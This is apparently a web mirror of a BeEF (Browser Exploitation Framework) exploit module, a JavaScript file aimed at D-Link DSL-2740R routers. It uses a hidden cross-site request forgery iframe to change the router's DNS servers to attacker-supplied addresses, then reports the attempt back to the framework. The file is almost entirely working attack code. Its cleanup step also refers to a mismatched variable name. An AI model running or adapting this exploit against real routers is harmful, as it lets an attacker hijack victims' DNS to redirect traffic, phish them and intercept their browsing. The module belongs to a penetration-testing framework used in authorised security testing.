Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var target = 'http://<%= @rhost %>/Forms/dns_1';
11
var dns1 = '<%= @dns1 %>';
12
var dns2 = '<%= @dns2 %>';
13
var timeout = 15;
14
15
// validate DNS server IP addresses
16
if (!beef.net.is_valid_ip(dns1)) {
17
beef.debug('Invalid Primary DNS server IP address was provided');
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
19
return;
20
}
21
if (!beef.net.is_valid_ip(dns2)) {
22
beef.debug('Invalid Secondary DNS server IP address was provided');
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
24
return;
25
}
26
27
// change DNS
28
var dlink_dsl2740r_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
29
{'type':'hidden', 'name':'Enable_DNSFollowing', 'value':'1'},
30
{'type':'hidden', 'name':'dnsPrimary', 'value':dns1},
31
{'type':'hidden', 'name':'dnsSecondary', 'value':dns2}
32
]);
33
34
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
35
36
// clean up
37
cleanup = function() {
38
document.body.removeChild(dlink_dsl2740r_<%= @command_id %>);
39
}
40
setTimeout("cleanup()", timeout*1000);
41
42
});
43
44
45